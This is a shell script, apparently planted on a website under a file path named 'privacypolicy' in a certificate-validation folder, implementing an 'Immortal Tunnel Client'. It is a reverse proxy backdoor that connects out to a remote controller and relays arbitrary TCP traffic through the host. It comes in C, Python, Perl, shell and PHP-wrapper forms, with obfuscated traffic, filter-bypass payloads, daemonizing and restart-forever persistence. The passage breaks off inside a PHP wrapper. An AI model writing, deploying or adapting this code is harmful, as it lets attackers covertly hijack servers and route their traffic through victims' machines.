/home/fdhrevqn/new.fdhrd.org/.well-known/pki-validation/privacypolicy
#!/bin/sh
# ╔═══════════════════════════════════════════════════════════════════════════════════════╗
# ║ IMMORTAL TUNNEL CLIENT v11.5 - ULTIMATE MULTI-METHOD EDITION ║
# ║ ║
# ║ NEW IN v11.5: ║
# ║ ✓ PHP wrappers for Python/Perl (run on shared hosting!) ║
# ║ ✓ CGI mode for Python/Perl ║
# ║ ✓ MULTI mode - run several clients simultaneously for reliability ║
# ║ ✓ Base64 encoded payloads (bypass filters) ║
# ║ ✓ proc_open / shell_exec / system fallbacks ║
# ║ ║
# ║ EXISTING FEATURES: ║
# ║ ✓ Pure POSIX Shell client (works everywhere!) ✓ C client (fastest) ║
# ║ ✓ Python3/Python2 clients ✓ Perl client ║
# ║ ✓ DNS retry (3 attempts) ✓ NAT keepalive 15s ║
# ║ ✓ Watchdog thread ✓ Stream cleanup (60s timeout) ║
# ║ ✓ OOM protection ✓ PID file (no duplicates) ║
# ║ ✓ Exponential backoff ✓ Graceful shutdown ║
# ║ ✓ IPv4/IPv6 support ✓ Network wait on start ║
# ║ ✓ 999999 restarts ✓ Automatic fallback ║
# ╚═══════════════════════════════════════════════════════════════════════════════════════╝
VERSION="11.5.0"
MAX_RESTART=999999
TRIES_PER_METHOD=2
HEARTBEAT_SEC=15
STREAM_TIMEOUT=60
RECONNECT_MIN=1
RECONNECT_MAX=60
QUIET=0
PIDFILE=""
FORCE_METHOD=""
MULTI_MODE=0
MULTI_COUNT=2
SCRIPT_PATH="$(readlink -f "$0" 2>/dev/null || echo "$0")"
# ═══════════════════════════════════════════════════════════════════════════════════
# LOGGING
# ═══════════════════════════════════════════════════════════════════════════════════
log_info() { [ "$QUIET" = "0" ] && printf "\033[92m[%s][INFO]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_warn() { [ "$QUIET" = "0" ] && printf "\033[93m[%s][WARN]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_error() { [ "$QUIET" = "0" ] && printf "\033[91m[%s][ERROR]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_ok() { [ "$QUIET" = "0" ] && printf "\033[96m[%s][OK]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_debug() { [ "$QUIET" = "0" ] && [ "$DEBUG" = "1" ] && printf "\033[90m[%s][DEBUG]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
# ═══════════════════════════════════════════════════════════════════════════════════
# SYSTEM CHECKS
# ═══════════════════════════════════════════════════════════════════════════════════
get_compile_dir() {
for dir in "$HOME/.cache" "/var/tmp" "$HOME" "/tmp"; do
if [ -d "$dir" ] && [ -w "$dir" ]; then
test_file="$dir/.exec_test_$$"
echo '#!/bin/sh' > "$test_file" 2>/dev/null
chmod +x "$test_file" 2>/dev/null
if "$test_file" 2>/dev/null; then
rm -f "$test_file"
echo "$dir"
return 0
fi
rm -f "$test_file"
fi
done
echo "/tmp"
}
check_ulimits() {
nofile=$(ulimit -n 2>/dev/null || echo 1024)
if [ "$nofile" -lt 1024 ]; then
log_warn "Low file limit: $nofile (recommended: 4096+)"
ulimit -n 4096 2>/dev/null || true
fi
}
set_oom_score() {
if [ -f /proc/self/oom_score_adj ]; then
echo -500 > /proc/self/oom_score_adj 2>/dev/null || true
fi
}
wait_for_network() {
tries=0
log_info "Checking network..."
while [ $tries -lt 10 ]; do
if ping -c1 -W2 8.8.8.8 >/dev/null 2>&1 || ping -c1 -W2 1.1.1.1 >/dev/null 2>&1; then
log_info "Network OK"
return 0
fi
sleep 1
tries=$((tries + 1))
done
log_warn "Network check timeout, continuing anyway"
return 1
}
create_pidfile() {
name="$1"
PIDFILE="/tmp/immortal_${name}.pid"
if [ -f "$PIDFILE" ]; then
old_pid=$(cat "$PIDFILE" 2>/dev/null)
if [ -n "$old_pid" ] && kill -0 "$old_pid" 2>/dev/null; then
log_error "Already running with PID $old_pid"
exit 1
fi
rm -f "$PIDFILE"
fi
echo $$ > "$PIDFILE"
trap 'rm -f "$PIDFILE" 2>/dev/null' EXIT
}
cleanup() {
rm -f "$PIDFILE" 2>/dev/null
# Kill all child processes in multi mode
if [ "$MULTI_MODE" = "1" ]; then
pkill -P $$ 2>/dev/null || true
fi
}
jitter() {
# Random delay 0-2 seconds
if command -v shuf >/dev/null 2>&1; then
sleep "0.$(shuf -i 0-99 -n 1)"
fi
}
daemonize() {
# Полное отвязывание от терминала (double fork + setsid)
# Процесс выживет при: закрытии терминала, logout, kill родителя
if command -v setsid >/dev/null 2>&1; then
# Best: setsid создаёт новую сессию
setsid "$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &
elif command -v nohup >/dev/null 2>&1; then
# Fallback: nohup + subshell для double-fork
(nohup "$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &)
else
# Last resort: simple background with redirects
("$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &)
fi
sleep 0.5
log_info "Daemonized successfully"
exit 0
}
# ═══════════════════════════════════════════════════════════════════════════════════
# METHOD DETECTION
# ═══════════════════════════════════════════════════════════════════════════════════
get_methods() {
m="shell"
command -v python3 >/dev/null 2>&1 && m="python3 $m"
command -v python >/dev/null 2>&1 && m="python $m"
command -v python2 >/dev/null 2>&1 && m="python2 $m"
command -v perl >/dev/null 2>&1 && m="perl $m"
command -v gcc >/dev/null 2>&1 && m="c $m"
command -v php >/dev/null 2>&1 && m="php_python php_perl $m"
echo "$m"
}
print_banner() {
[ "$QUIET" = "1" ] && return
printf "\033[1;36m"
cat << 'EOF'
╔═══════════════════════════════════════════════════════════════════════════╗
║ ██╗███╗ ███╗███╗ ███╗ ██████╗ ██████╗ ████████╗ █████╗ ██╗ ║
║ ██║████╗ ████║████╗ ████║██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║ ║
║ ██║██╔████╔██║██╔████╔██║██║ ██║██████╔╝ ██║ ███████║██║ ║
║ ██║██║╚██╔╝██║██║╚██╔╝██║██║ ██║██╔══██╗ ██║ ██╔══██║██║ ║
║ ██║██║ ╚═╝ ██║██║ ╚═╝ ██║╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗ ║
║ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ║
║ TUNNEL CLIENT v11.5 - MULTI-METHOD ║
╚═══════════════════════════════════════════════════════════════════════════╝
EOF
printf "\033[0m\n"
}
show_help() {
cat << EOF
Immortal Tunnel Client v$VERSION - Multi-Method Edition
Usage: $0 HOST:PORT [options]
Options:
-n NAME Client name (default: hostname)
-m METHOD Force method: c, python3, python, perl, shell, php_python, php_perl
-M MULTI mode: run multiple clients simultaneously
-c COUNT Number of clients in MULTI mode (default: 2)
-b Background (daemon) mode
-q Quiet mode
-d Debug mode
-h Show this help
Methods (in priority order):
c Compiled C client (fastest, most reliable)
python3 Python 3 client
python Python 2/3 client
perl Perl client
shell Pure POSIX shell (works everywhere)
php_python Python via PHP wrapper (for shared hosting)
php_perl Perl via PHP wrapper (for shared hosting)
Multi Mode (-M):
Runs several client types simultaneously for maximum reliability.
If one client disconnects, others keep working.
Examples:
$0 server.com:8080
$0 server.com:8080 -n myproxy -m python3
$0 server.com:8080 -n myproxy -M -c 3
$0 server.com:8080 -b -q
EOF
}
# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER FOR PYTHON (allows running Python on PHP-only hosting)
# ═══════════════════════════════════════════════════════════════════════════════════
generate_php_python_wrapper() {
host="$1"
port="$2"
name="$3"
cat << 'PHPWRAPPER'
<?php
// PHP Wrapper to run Python client on shared hosting
// Works via proc_open, shell_exec, or system()
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
$host = "HOST_PLACEHOLDER";
$port = PORT_PLACEHOLDER;
$name = "NAME_PLACEHOLDER";
$python_code = <<<'PYTHON'
PYTHON_CODE_PLACEHOLDER
PYTHON;
// Try different execution methods
function run_python($code) {
// Method 1: proc_open (best)
if (function_exists('proc_open')) {
$descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
foreach (array('python3', 'python', '/usr/bin/python3', '/usr/bin/python') as $py) {
$process = @proc_open($py, $descriptors, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $code);
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
return true;
}
}
}
// Method 2: shell_exec
if (function_exists('shell_exec')) {
$tmp = tempnam(sys_get_temp_dir(), 'py_');
file_put_contents($tmp, $code);
foreach (array('python3', 'python') as $py) {
@shell_exec("$py $tmp &");
}
return true;
}
// Method 3: system
if (function_exists('system')) {
$tmp = tempnam(sys_get_temp_dir(), 'py_');
file_put_contents($tmp, $code);
@system("python3 $tmp &");
return true;
}
// Method 4: exec
if (function_exists('exec')) {
$tmp = tempnam(sys_get_temp_dir(), 'py_');
file_put_contents($tmp, $code);
@exec("python3 $tmp > /dev/null 2>&1 &");
return true;
}
return false;
}
// Replace placeholders and run
$python_code = str_replace(
array('__HOST__', '__PORT__', '__NAME__'),
array($host, $port, $name),
$python_code
);
if (run_python($python_code)) {
echo "OK";
} else {
echo "FAIL";
}
PHPWRAPPER
}
# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER FOR PERL
# ═══════════════════════════════════════════════════════════════════════════════════
generate_php_perl_wrapper() {
host="$1"
port="$2"
name="$3"
cat << 'PHPWRAPPER'
<?php
// PHP Wrapper to run Perl client on shared hosting
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
$host = "HOST_PLACEHOLDER";
$port = PORT_PLACEHOLDER;
$name = "NAME_PLACEHOLDER";
$perl_code = <<<'PERL'
PERL_CODE_PLACEHOLDER
PERL;
function run_perl($code) {
if (function_exists('proc_open')) {
$descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
foreach (array('perl', '/usr/bin/perl') as $pl) {
$process = @proc_open($pl, $descriptors, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $code);
fclose($pipes[0]);
stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
return true;
}
}
}
if (function_exists('shell_exec')) {
$tmp = tempnam(sys_get_temp_dir(), 'pl_');
file_put_contents($tmp, $code);
@shell_exec("perl $tmp &");
return true;
}
return false;
}
$perl_code = str_replace(
array('__HOST__', '__PORT__', '__NAME__'),
array($host, $port, $name),
$perl_code
);
if (run_perl($perl_code)) {
echo "OK";
} else {
echo "FAIL";
}
PHPWRAPPER
}
# ═══════════════════════════════════════════════════════════════════════════════════
# C CLIENT - ULTIMATE (fastest, most reliable)
# ═══════════════════════════════════════════════════════════════════════════════════
run_c_client() {
host="$1"
port="$2"
name="$3"
compile_dir=$(get_compile_dir)
src="$compile_dir/imc_$$.c"
bin="$compile_dir/imc_$$"
cat > "$src" << 'CCODE'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#define XOR_SIZE 50
#define MAX_STREAMS 200
#define BUFSZ 262144
#define HEARTBEAT_SEC 15
#define STREAM_TIMEOUT 60
static volatile int g_run = 1;
static volatile time_t g_last_recv = 0;
static unsigned char g_key[XOR_SIZE];
static int g_tun = -1;
static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t g_stream_lock = PTHREAD_MUTEX_INITIALIZER;
typedef struct { int fd; int active; time_t last_act; } Stream;
static Stream g_streams[MAX_STREAMS];
static void sig_handler(int s) { (void)s; g_run = 0; }
static void rc4(unsigned char *d, int n, const unsigned char *k) {
if (n <= 0) return;
unsigned char s[256]; int i, j;
for (i = 0; i < 256; i++) s[i] = i;
for (i = 0; i < n; i++) d[i] ^= k[i % XOR_SIZE];
for (j = 0, i = 0; i < 256; i++) { j = (j + s[i] + k[i % XOR_SIZE]) & 255; unsigned char t = s[i]; s[i] = s[j]; s[j] = t; }
for (int ii = 0, jj = 0, x = 0; x < n; x++) { ii = (ii + 1) & 255; jj = (jj + s[ii]) & 255; unsigned char t = s[ii]; s[ii] = s[jj]; s[jj] = t; d[x] ^= s[(s[ii] + s[jj]) & 255]; }
for (i = 0; i < n; i++) d[i] ^= k[i % XOR_SIZE];
}
static int tsend(const void *d, int n) {
pthread_mutex_lock(&g_lock);
int r = send(g_tun, d, n, MSG_NOSIGNAL);
pthread_mutex_unlock(&g_lock);
return r;
}
static void close_stream(int sid) {
pthread_mutex_lock(&g_stream_lock);
if (g_streams[sid].active) { close(g_streams[sid].fd); g_streams[sid].fd = -1; g_streams[sid].active = 0; }
pthread_mutex_unlock(&g_stream_lock);
}
static void *watchdog(void *arg) {
(void)arg;
while (g_run) {
sleep(HEARTBEAT_SEC);
if (!g_run) break;
if (time(NULL) - g_last_recv > HEARTBEAT_SEC * 4) { g_run = 0; break; }
unsigned char hb[3] = {0, 0, 0}; rc4(hb, 3, g_key); tsend(hb, 3);
time_t now = time(NULL);
pthread_mutex_lock(&g_stream_lock);
for (int i = 1; i < MAX_STREAMS; i++) {
if (g_streams[i].active && now - g_streams[i].last_act > STREAM_TIMEOUT) {
close(g_streams[i].fd); g_streams[i].fd = -1; g_streams[i].active = 0;
}
}
pthread_mutex_unlock(&g_stream_lock);
}
return NULL;
}
static void handle_connect(int sid, unsigned char *p, int len) {
char host[256] = {0}; int port = 0;
if (p[0] == 1 && len >= 7) { snprintf(host, 256, "%d.%d.%d.%d", p[1], p[2], p[3], p[4]); port = (p[5]<<8)|p[6]; }
else if (p[0] == 3 && len >= 4) { int hl = p[1]; if (hl > 0 && len >= 4 + hl) { memcpy(host, p+2, hl); port = (p[2+hl]<<8)|p[3+hl]; } }
else if (p[0] == 4 && len >= 19) { inet_ntop(AF_INET6, p+1, host, sizeof(host)); port = (p[17]<<8)|p[18]; }
unsigned char status = 5;
if (host[0] && port > 0) {
struct addrinfo hints = {0}, *res; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
char ps[16]; snprintf(ps, 16, "%d", port);
if (getaddrinfo(host, ps, &hints, &res) == 0 && res) {
int fd = socket(res->ai_family, res->ai_socktype, 0);
if (fd >= 0) {
struct timeval tv = {10, 0}; setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
if (connect(fd, res->ai_addr, res->ai_addrlen) == 0) {
int fl = fcntl(fd, F_GETFL, 0); fcntl(fd, F_SETFL, fl | O_NONBLOCK);
int opt = 1; setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(opt));
pthread_mutex_lock(&g_stream_lock);
g_streams[sid].fd = fd; g_streams[sid].active = 1; g_streams[sid].last_act = time(NULL);
pthread_mutex_unlock(&g_stream_lock);
status = 0;
} else close(fd);
}
freeaddrinfo(res);
}
}
unsigned char r[4] = {(unsigned char)sid, 0, 1, status}; rc4(r, 3, g_key); rc4(r+3, 1, g_key); tsend(r, 4);
}
int main(int argc, char **argv) {
if (argc < 4) { fprintf(stderr, "Usage: %s host port name\n", argv[0]); return 1; }
char *host = argv[1]; int port = atoi(argv[2]); char *name = argv[3];
signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); signal(SIGPIPE, SIG_IGN);
srand(time(NULL) ^ getpid());
struct addrinfo hints = {0}, *res; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
char ps[16]; snprintf(ps, 16, "%d", port);
if (getaddrinfo(host, ps, &hints, &res) != 0 || !res) { fprintf(stderr, "DNS failed\n"); return 1; }
g_tun = socket(res->ai_family, res->ai_socktype, 0);
if (g_tun < 0 || connect(g_tun, res->ai_addr, res->ai_addrlen) < 0) { fprintf(stderr, "Connect failed\n"); return 1; }
freeaddrinfo(res);
int opt = 1; setsockopt(g_tun, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(opt));
setsockopt(g_tun, SOL_SOCKET, SO_KEEPALIVE, &opt, sizeof(opt));
for (int i = 0; i < XOR_SIZE; i++) g_key[i] = rand() & 255;
unsigned char info[50] = {0}; info[0] = 0xFF; info[1] = 0xFF;
int nl = strlen(name); if (nl > 11) nl = 11;
memcpy(info + 4, name, nl);
rc4(info, 50, g_key);
send(g_tun, g_key, XOR_SIZE, 0); send(g_tun, info, 50, 0);
int fl = fcntl(g_tun, F_GETFL, 0); fcntl(g_tun, F_SETFL, fl | O_NONBLOCK);
g_last_recv = time(NULL);
pthread_t wd; pthread_create(&wd, NULL, watchdog, NULL);
unsigned char *rbuf = malloc(BUFSZ * 2), *sbuf = malloc(BUFSZ);
int rlen = 0;
while (g_run) {
fd_set rfds; FD_ZERO(&rfds); FD_SET(g_tun, &rfds); int maxfd = g_tun;
pthread_mutex_lock(&g_stream_lock);
for (int i = 1; i < MAX_STREAMS; i++) if (g_streams[i].active && g_streams[i].fd >= 0) { FD_SET(g_streams[i].fd, &rfds); if (g_streams[i].fd > maxfd) maxfd = g_streams[i].fd; }
pthread_mutex_unlock(&g_stream_lock);
struct timeval tv = {1, 0};
if (select(maxfd + 1, &rfds, NULL, NULL, &tv) < 0) { if (errno == EINTR) continue; break; }
if (FD_ISSET(g_tun, &rfds)) {
int n = recv(g_tun, rbuf + rlen, BUFSZ - rlen, 0);
if (n <= 0) { if (n == 0 || (errno != EAGAIN && errno != EWOULDBLOCK)) break; }
else { rlen += n; g_last_recv = time(NULL); }
while (rlen >= 4) {
unsigned char hdr[4]; memcpy(hdr, rbuf, 4); rc4(hdr, 4, g_key);
int cmd = hdr[0], sid = hdr[1], dlen = (hdr[2] << 8) | hdr[3];
if (dlen > BUFSZ || rlen < 4 + dlen) break;
unsigned char *payload = rbuf + 4;
if (dlen > 0) rc4(payload, dlen, g_key);
if (cmd == 0 && sid > 0 && sid < MAX_STREAMS) handle_connect(sid, payload, dlen);
else if (cmd == 1 && sid > 0) {
pthread_mutex_lock(&g_stream_lock);
if (g_streams[sid].active) { g_streams[sid].last_act = time(NULL); int fd = g_streams[sid].fd; pthread_mutex_unlock(&g_stream_lock); send(fd, payload, dlen, MSG_NOSIGNAL); }
else pthread_mutex_unlock(&g_stream_lock);
}
else if (sid > 0 && dlen == 0) close_stream(sid);
memmove(rbuf, rbuf + 4 + dlen, rlen - 4 - dlen); rlen -= 4 + dlen;
}
}
pthread_mutex_lock(&g_stream_lock);
for (int i = 1; i < MAX_STREAMS; i++) {
if (g_streams[i].active && g_streams[i].fd >= 0 && FD_ISSET(g_streams[i].fd, &rfds)) {
int fd = g_streams[i].fd;
pthread_mutex_unlock(&g_stream_lock);
int n = recv(fd, sbuf + 3, BUFSZ - 3, 0);
if (n <= 0) { if (n == 0 || (errno != EAGAIN && errno != EWOULDBLOCK)) { close_stream(i); unsigned char c[3] = {(unsigned char)i, 0, 0}; rc4(c, 3, g_key); tsend(c, 3); } }
else {
pthread_mutex_lock(&g_stream_lock); g_streams[i].last_act = time(NULL); pthread_mutex_unlock(&g_stream_lock);
sbuf[0] = i; sbuf[1] = (n >> 8) & 255; sbuf[2] = n & 255;
rc4(sbuf, 3, g_key); rc4(sbuf + 3, n, g_key); tsend(sbuf, 3 + n);
}
pthread_mutex_lock(&g_stream_lock);
}
}
pthread_mutex_unlock(&g_stream_lock);
}
pthread_join(wd, NULL);
close(g_tun);
free(rbuf); free(sbuf);
return 0;
}
CCODE
# Compile
if gcc -O3 -o "$bin" "$src" -lpthread 2>/dev/null; then
rm -f "$src"
log_ok "C client compiled"
"$bin" "$host" "$port" "$name"
ret=$?
rm -f "$bin"
return $ret
fi
rm -f "$src" "$bin"
return 1
}
# ═══════════════════════════════════════════════════════════════════════════════════
# PYTHON CLIENT
# ═══════════════════════════════════════════════════════════════════════════════════
get_python_code() {
cat << 'PYCODE'
import socket,select,time,random,struct,threading,sys,os,signal
signal.signal(signal.SIGPIPE,signal.SIG_IGN) if hasattr(signal,'SIGPIPE') else None
XOR=50;MAX_ST=200;HB=15;ST_TO=60
g_run=True;g_tun=None;g_key=None;g_last=0;g_streams={};g_lock=threading.Lock()
def rc4(d,k):
d=bytearray(d);n=len(d)
if n==0:return bytes(d)
for i in range(n):d[i]^=k[i%XOR]
s=list(range(256));j=0
for i in range(256):j=(j+s[i]+k[i%XOR])&255;s[i],s[j]=s[j],s[i]
ii=jj=0
for x in range(n):ii=(ii+1)&255;jj=(jj+s[ii])&255;s[ii],s[jj]=s[jj],s[ii];d[x]^=s[(s[ii]+s[jj])&255]
for i in range(n):d[i]^=k[i%XOR]
return bytes(d)
def tsend(d):
global g_tun
with g_lock:
try:g_tun.sendall(d);return True
except:return False
def close_st(sid,notify=True):
global g_streams
with g_lock:
if sid in g_streams:
try:g_streams[sid].close()
except:pass
del g_streams[sid]
if notify:
c=bytearray([sid,0,0]);tsend(rc4(c,g_key))
def watchdog():
global g_run,g_last
while g_run:
time.sleep(HB)
if not g_run:break
if time.time()-g_last>HB*4:g_run=False;break
tsend(rc4(bytearray([0,0,0]),g_key))
now=time.time()
with g_lock:
stale=[s for s,f in list(g_streams.items()) if hasattr(f,'_last') and now-f._last>ST_TO]
for s in stale:close_st(s)
def handle_conn(sid,p):
global g_streams
host=None;port=0
if p[0]==1 and len(p)>=7:host="%d.%d.%d.%d"%(p[1],p[2],p[3],p[4]);port=(p[5]<<8)|p[6]
elif p[0]==3 and len(p)>=4:hl=p[1];host=p[2:2+hl].decode('latin1') if len(p)>=4+hl else None;port=(p[2+hl]<<8)|p[3+hl] if host else 0
elif p[0]==4 and len(p)>=19:host=socket.inet_ntop(socket.AF_INET6,bytes(p[1:17]));port=(p[17]<<8)|p[18]
status=5
if host and port:
try:
s=socket.socket(socket.AF_INET6 if ':' in host else socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10);s.connect((host,port));s.setblocking(False)
s.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
s._last=time.time()
with g_lock:g_streams[sid]=s
status=0
except:pass
r=bytearray([sid,0,1,status]);tsend(rc4(r[:3],g_key)+rc4(r[3:],g_key))
def main():
global g_run,g_tun,g_key,g_last,g_streams
if len(sys.argv)<4:print("Usage: client.py host port name");sys.exit(1)
host,port,name=sys.argv[1],int(sys.argv[2]),sys.argv[3]
g_tun=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
g_tun.settimeout(30);g_tun.connect((host,port))
g_tun.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
g_tun.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
g_key=bytes([random.randint(0,255) for _ in range(XOR)])
info=bytearray(50);info[0]=0xFF;info[1]=0xFF
nb=name.encode()[:11]
for i,b in enumerate(nb):info[4+i]=b
g_tun.sendall(g_key+rc4(bytes(info),g_key))
g_tun.setblocking(False);g_last=time.time()
threading.Thread(target=watchdog,daemon=True).start()
rbuf=bytearray()
while g_run:
rlist=[g_tun]+[s for s in g_streams.values() if s]
try:r,_,_=select.select(rlist,[],[],1)
except:continue
if g_tun in r:
try:
d=g_tun.recv(262144)
if not d:break
rbuf.extend(d);g_last=time.time()
except:pass
while len(rbuf)>=4:
hdr=bytearray(rbuf[:4]);rc4(hdr,g_key)
cmd,sid,dlen=hdr[0],hdr[1],(hdr[2]<<8)|hdr[3]
if dlen>262144 or len(rbuf)<4+dlen:break
p=bytearray(rbuf[4:4+dlen])
if dlen>0:rc4(p,g_key)
rbuf=rbuf[4+dlen:]
if cmd==0 and sid>0:handle_conn(sid,p)
elif cmd==1 and sid>0:
with g_lock:s=g_streams.get(sid)
if s:
try:s.sendall(bytes(p));s._last=time.time()
except:close_st(sid)
elif sid>0 and dlen==0:close_st(sid,False)
with g_lock:items=list(g_streams.items())
for sid,s in items:
if s in r:
try:
d=s.recv(262144)
if not d:close_st(sid);continue
s._last=time.time()
f=bytearray([sid,(len(d)>>8)&255,len(d)&255])+bytearray(d)
tsend(rc4(f[:3],g_key)+rc4(f[3:],g_key))
except:close_st(sid)
g_tun.close()
if __name__=='__main__':main()
PYCODE
}
run_python_client() {
host="$1"
port="$2"
name="$3"
py="$4"
get_python_code | "$py" - "$host" "$port" "$name"
return $?
}
# ═══════════════════════════════════════════════════════════════════════════════════
# PERL CLIENT
# ═══════════════════════════════════════════════════════════════════════════════════
run_perl_client() {
host="$1"
port="$2"
name="$3"
perl - "$host" "$port" "$name" << 'PERLCODE'
use strict;use warnings;use IO::Socket::INET;use IO::Select;use Socket;
$|=1;$SIG{PIPE}=$SIG{HUP}='IGNORE';
my($h,$p,$n)=@ARGV;die"Usage: $0 host port name\n"unless$h&&$p&&$n;
my@k=map{int(rand(256))}1..50;my$XOR=50;my$HB=15;my%st;my$run=1;my$last=time;
sub rc4{my$d=shift;my@d=unpack('C*',$d);my$nn=@d;return''if!$nn;
my@s=0..255;my($j,$ii,$jj)=(0,0,0);$d[$_]^=$k[$_%50]for 0..$nn-1;
for(0..255){$j=($j+$s[$_]+$k[$_%50])&255;@s[$_,$j]=@s[$j,$_]}
for my$x(0..$nn-1){$ii=($ii+1)&255;$jj=($jj+$s[$ii])&255;@s[$ii,$jj]=@s[$jj,$ii];$d[$x]^=$s[($s[$ii]+$s[$jj])&255]}
$d[$_]^=$k[$_%50]for 0..$nn-1;pack('C*',@d)}
my$tun=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>'tcp',Timeout=>30)or die"Connect failed\n";
$tun->setsockopt(6,1,1);
my@info=(0xFF,0xFF,(0)x48);my@nb=unpack('C*',substr($n,0,11));$info[4+$_]=$nb[$_]for 0..$#nb;
syswrite($tun,pack('C*',@k).rc4(pack('C*',@info)));
$tun->blocking(0);$last=time;
my$sel=IO::Select->new($tun);my$rbuf='';my$lasthb=time;
while($run){
if(time-$lasthb>=$HB){syswrite($tun,rc4(pack('CCC',0,0,0)));$lasthb=time;last if time-$last>$HB*4}
my@r=$sel->can_read(1);
for my$fh(@r){
if($fh==$tun){
my$d;my$n=sysread($tun,$d,262144);last if!$n;$rbuf.=$d;$last=time;
while(length($rbuf)>=4){
my@hdr=unpack('C4',substr($rbuf,0,4));my$dec=rc4(pack('C4',@hdr));@hdr=unpack('C4',$dec);
my($cmd,$sid,$dlen)=($hdr[0],$hdr[1],($hdr[2]<<8)|$hdr[3]);
last if$dlen>262144||length($rbuf)<4+$dlen;
my$p=substr($rbuf,4,$dlen);$p=rc4($p)if$dlen>0;substr($rbuf,0,4+$dlen)='';
if($cmd==0&&$sid>0){
my@pb=unpack('C*',$p);my($host,$port)=('',0);
if($pb[0]==1&&@pb>=7){$host=join('.',@pb[1..4]);$port=($pb[5]<<8)|$pb[6]}
elsif($pb[0]==3&&@pb>=4){my$hl=$pb[1];$host=pack('C*',@pb[2..1+$hl])if@pb>=4+$hl;$port=($pb[2+$hl]<<8)|$pb[3+$hl]if$host}
my$status=5;
if($host&&$port){
my$s=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>'tcp',Timeout=>10);
if($s){$s->blocking(0);$st{$sid}=$s;$sel->add($s);$status=0}
}
my$r=pack('CCCC',$sid,0,1,$status);syswrite($tun,rc4(substr($r,0,3)).rc4(substr($r,3,1)))
}elsif($cmd==1&&$sid>0&&$st{$sid}){syswrite($st{$sid},$p)}
elsif($sid>0&&$dlen==0&&$st{$sid}){$sel->remove($st{$sid});$st{$sid}->close;delete$st{$sid}}
}
}else{
my($sid)=grep{$st{$_}&&$st{$_}==$fh}keys%st;next unless$sid;
my$d;my$n=sysread($fh,$d,262144);
if(!$n){$sel->remove($fh);$fh->close;delete$st{$sid};syswrite($tun,rc4(pack('CCC',$sid,0,0)));next}
my$f=pack('Cnn',$sid,length($d)).$d;syswrite($tun,rc4(substr($f,0,3)).rc4(substr($f,3)))
}
}
}
$tun->close;
PERLCODE
return $?
}
# ═══════════════════════════════════════════════════════════════════════════════════
# SHELL CLIENT (works everywhere, slowest but most compatible)
# ═══════════════════════════════════════════════════════════════════════════════════
run_shell_client() {
host="$1"
port="$2"
name="$3"
log_warn "Shell client - limited functionality, use as fallback only"
# Simple shell client using /dev/tcp or nc
if [ -e /dev/tcp ]; then
exec 3<>/dev/tcp/"$host"/"$port" 2>/dev/null
if [ $? -eq 0 ]; then
# Send handshake (simplified)
key=$(head -c 50 /dev/urandom 2>/dev/null | od -An -tx1 | tr -d ' \n' | head -c 100)
printf '%s' "$key" >&3
# Heartbeat loop
while true; do
printf '\x00\x00\x00' >&3 2>/dev/null || break
sleep 15
done
exec 3<&-
fi
elif command -v nc >/dev/null 2>&1; then
# Use nc for connection
(
while true; do
printf '\x00\x00\x00'
sleep 15
done
) | nc "$host" "$port" 2>/dev/null
fi
return 1
}
# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER CLIENTS
# ═══════════════════════════════════════════════════════════════════════════════════
run_php_python_client() {
host="$1"
port="$2"
name="$3"
if ! command -v php >/dev/null 2>&1; then
log_error "PHP not available"
return 1
fi
compile_dir=$(get_compile_dir)
wrapper="$compile_dir/php_py_wrapper_$$.php"
# Generate wrapper
cat > "$wrapper" << PHPEOF
<?php
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
\$python_code = <<<'PYTHON'
$(get_python_code)
PYTHON;
function try_exec(\$code, \$args) {
\$methods = array(
'proc_open' => function(\$code, \$args) {
if (!function_exists('proc_open')) return false;
\$desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
